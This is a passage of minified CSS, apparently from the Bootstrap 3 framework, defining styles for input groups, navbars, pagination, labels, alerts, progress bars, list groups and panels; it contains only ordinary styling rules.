10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px)and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:2;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding:30px 15px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding:48px 0}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.media{margin-top:15px}.media:first-child{margin-top:0}.media,.media-body{overflow:hidden;zoom:1}.media-body{width:10000px}.media-object{display:block}.media-right,.media>.pull-right{padding-left:10px}.media-left,.media>.pull-left{padding-right:10px}.media-body,.media-left,.media-right{display:table-cell;vertical-align:top}.media-middle{vertical-align:middle}.media-bottom{vertical-align:bottom}.media-heading{margin-top:0;margin-bottom:5px}.media-list{padding-left:0;list-style:none}.list-group{padding-left:0;margin-bottom:20px}.list-group-item{position:relative;display:block;padding:10px 15px;margin-bottom:-1px;background-color:#fff;border:1px solid #ddd}.list-group-item:first-child{border-top-left-radius:4px;border-top-right-radius:4px}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px}a.list-group-item{color:#555}a.list-group-item .list-group-item-heading{color:#333}a.list-group-item:focus,a.list-group-item:hover{color:#555;text-decoration:none;background-color:#f5f5f5}.list-group-item.disabled,.list-group-item.disabled:focus,.list-group-item.disabled:hover{color:#777;cursor:not-allowed;background-color:#eee}.list-group-item.disabled .list-group-item-heading,.list-group-item.disabled:focus .list-group-item-heading,.list-group-item.disabled:hover .list-group-item-heading{color:inherit}.list-group-item.disabled .list-group-item-text,.list-group-item.disabled:focus .list-group-item-text,.list-group-item.disabled:hover .list-group-item-text{color:#777}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{z-index:2;color:#fff;background-color:#337ab7;border-color:#337ab7}.list-group-item.active .list-group-item-heading,.list-group-item.active .list-group-item-heading>.small,.list-group-item.active .list-group-item-heading>small,.list-group-item.active:focus .list-group-item-heading,.list-group-item.active:focus .list-group-item-heading>.small,.list-group-item.active:focus .list-group-item-heading>small,.list-group-item.active:hover .list-group-item-heading,.list-group-item.active:hover .list-group-item-heading>.small,.list-group-item.active:hover .list-group-item-heading>small{color:inherit}.list-group-item.active .list-group-item-text,.list-group-item.active:focus .list-group-item-text,.list-group-item.active:hover .list-group-item-text{color:#c7ddef}.list-group-item-success{color:#3c763d;background-color:#dff0d8}a.list-group-item-success{color:#3c763d}a.list-group-item-success .list-group-item-heading{color:inherit}a.list-group-item-success:focus,a.list-group-item-success:hover{color:#3c763d;background-color:#d0e9c6}a.list-group-item-success.active,a.list-group-item-success.active:focus,a.list-group-item-success.active:hover{color:#fff;background-color:#3c763d;border-color:#3c763d}.list-group-item-info{color:#31708f;background-color:#d9edf7}a.list-group-item-info{color:#31708f}a.list-group-item-info .list-group-item-heading{color:inherit}a.list-group-item-info:focus,a.list-group-item-info:hover{color:#31708f;background-color:#c4e3f3}a.list-group-item-info.active,a.list-group-item-info.active:focus,a.list-group-item-info.active:hover{color:#fff;background-color:#31708f;border-color:#31708f}.list-group-item-warning{color:#8a6d3b;background-color:#fcf8e3}a.list-group-item-warning{color:#8a6d3b}a.list-group-item-warning .list-group-item-heading{color:inherit}a.list-group-item-warning:focus,a.list-group-item-warning:hover{color:#8a6d3b;background-color:#faf2cc}a.list-group-item-warning.active,a.list-group-item-warning.active:focus,a.list-group-item-warning.active:hover{color:#fff;background-color:#8a6d3b;border-color:#8a6d3b}.list-group-item-danger{color:#a94442;background-color:#f2dede}a.list-group-item-danger{color:#a94442}a.list-group-item-danger .list-group-item-heading{color:inherit}a.list-group-item-danger:focus,a.list-group-item-danger:hover{color:#a94442;background-color:#ebcccc}a.list-group-item-danger.active,a.list-group-item-danger.active:focus,a.list-group-item-danger.active:hover{color:#fff;background-color:#a94442;border-color:#a94442}.list-group-item-heading{margin-top:0;margin-bottom:5px}.list-group-item-text{margin-bottom:0;line-height:1.3}.panel{margin-bottom:20px;background-color:#fff;border:1px solid transparent;border-radius:4px;-webkit-box-shadow:0 1px 1px rgba(0,0,0,.05);box-shadow:0 1px 1px rgba(0,0,0,.05)}.panel-body{padding:15px}.panel-heading{padding:10px 15px;border-bottom:1px solid transparent;border-top-left-radius:3px;border-top-right-radius:3px}.panel-heading>.dropdown .dropdown-toggle{color:inherit}.panel-title{margin-top:0;margin-bottom:0;font-size:16px;color:inherit}.panel-title>.small,.panel-title>.small>a,.panel-title>a,.panel-title>small,.panel-title>small>a{color:inherit}.panel-footer{padding:10px 15px;background-color:#f5f5f5;border-top:1px solid #ddd;border-bottom-right-radius:3px;border-bottom-left-radius:3px}.panel>.list-group,.panel>.panel-collapse>.list-group{margin-bottom:0}.panel>.list-group .list-group-item,.panel>.panel-collapse>.list-group .list-group-item{border-width:1px 0;border-radius:0}.panel>.list-group:first-child .list-group-item:first-child,.panel>.panel-collapse>.list-group:first-child 